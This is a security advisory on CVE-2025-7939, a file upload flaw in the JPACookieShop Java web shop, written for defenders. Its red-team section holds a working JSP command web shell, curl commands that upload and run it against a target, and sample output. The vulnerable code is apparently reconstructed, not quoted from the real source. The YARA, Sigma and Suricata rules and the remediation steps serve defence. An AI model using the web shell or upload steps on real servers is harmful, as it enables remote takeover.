CVE-2025-7939

Executive Summary

CVE-2025-7939 is a critical unrestricted file upload vulnerability in the addGoods function of GoodsController.java within the JPACookieShop (蛋糕商城JPA版) application, version 1.0, developed by jerryshensjf. The vulnerability allows a remote, unauthenticated attacker to upload arbitrary files to the server, potentially leading to remote code execution (RCE), data exfiltration, or full server compromise. The vendor has not released a patch, and no public exploit code is available at this time. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the technical severity remains critical.

Supply Chain & Package Security

This is a Java-based web application (Spring Boot with JPA) and is not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to direct deployments of the JPACookieShop application.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows an attacker to upload a malicious JSP or other executable file, leading to full server takeover.

Deep Dive & Mechanics

The vulnerability resides in the addGoods method of GoodsController.java. This endpoint is intended to handle the addition of new product images or files. The code likely fails to validate the file type, size, or content, and does not restrict the upload directory to a non-executable location. An attacker can craft an HTTP multipart request to upload a web shell (e.g., a .jsp file) to the application’s web root. Once uploaded, the attacker can access the file directly via a web browser and execute arbitrary commands on the server.

Root Cause: Missing file type validation and lack of secure upload directory configuration.

Attack Vector: HTTP POST request to the vulnerable endpoint (e.g., /goods/addGoods) with a multipart form containing a malicious file.

Impact: Remote Code Execution (RCE) with the privileges of the application server (typically a low-privileged user, but sufficient for lateral movement).

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical secure implementation.

Vulnerable Code (GoodsController.java - snippet):

@PostMapping("/addGoods")
public String addGoods(@RequestParam("file") MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String uploadDir = "/uploads/";
    File dest = new File(uploadDir + fileName);
    file.transferTo(dest);
    // ... save to database
    return "success";
}

Patched Code (Recommended):

@PostMapping("/addGoods")
public String addGoods(@RequestParam("file") MultipartFile file) {
    // 1. Validate file extension
    String fileName = file.getOriginalFilename();
    String extension = fileName.substring(fileName.lastIndexOf("."));
    List<String> allowedExtensions = Arrays.asList(".jpg", ".png", ".gif", ".jpeg");
    if (!allowedExtensions.contains(extension.toLowerCase())) {
        throw new IllegalArgumentException("Invalid file type");
    }
    // 2. Sanitize filename
    String safeName = UUID.randomUUID().toString() + extension;
    // 3. Store outside web root
    String uploadDir = "/secure-uploads/";
    File dest = new File(uploadDir + safeName);
    file.transferTo(dest);
    // 4. Serve via a controller that reads and streams the file
    // ... save to database
    return "success";
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Target running JPACookieShop 1.0.
• Network access to the /goods/addGoods endpoint.

Step 1: Craft a malicious JSP web shell.

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
    String line;
    while ((line = br.readLine()) != null) {
        out.println(line);
    }
}
%>

Step 2: Upload the shell using curl.

curl -X POST -F "file=@shell.jsp" http://target.com/goods/addGoods

Step 3: Execute commands.

curl http://target.com/uploads/shell.jsp?cmd=id

Expected Output:

uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

Blue Team (Defense & Detection)

Detection:

• Monitor HTTP POST requests to /goods/addGoods with Content-Type: multipart/form-data.
• Alert on file uploads with extensions .jsp, .jspx, .war, .class, .exe, .sh.
• Monitor for unexpected files in the /uploads/ directory.

Prevention:

• Implement strict file type whitelisting.
• Store uploaded files outside the web root.
• Use a reverse proxy (e.g., Nginx) to block direct access to upload directories.
• Apply the principle of least privilege to the application server.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_7939_WebShell_Upload {
    meta:
        description = "Detects JSP web shells uploaded via CVE-2025-7939"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-7939"
    strings:
        $jsp_shell1 = "Runtime.getRuntime().exec" ascii wide nocase
        $jsp_shell2 = "request.getParameter(\"cmd\")" ascii wide nocase
        $jsp_shell3 = "Process p = Runtime" ascii wide nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-7939 - Unrestricted File Upload to JPACookieShop
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to /goods/addGoods with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/goods/addGoods'
        cs-uri-query|contains: 'file='
    extension_filter:
        cs-uri-query|endswith:
            - '.jsp'
            - '.jspx'
            - '.war'
            - '.exe'
            - '.sh'
    condition: selection and extension_filter
falsepositives:
    - Legitimate file uploads if the application is misconfigured
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-7939 - JPACookieShop Unrestricted File Upload"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/goods/addGoods"; http.client_body; content:"filename="; pcre:"/\.(jsp|jspx|war|exe|sh)$/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application server from the internet if possible.
2. Disable the /goods/addGoods endpoint by commenting out the mapping in GoodsController.java.
3. Implement a Web Application Firewall (WAF) rule to block file uploads with dangerous extensions.

Long-Term Fix:

• Since no vendor patch exists, the application must be rewritten or replaced.
• Apply the secure coding practices shown in the "Vulnerable vs. Patched Code" section.
• Conduct a full security audit of the application.

Workaround:

• Configure the web server (e.g., Tomcat) to block execution of JSP files in the upload directory by adding a <security-constraint> in web.xml.

Valters IT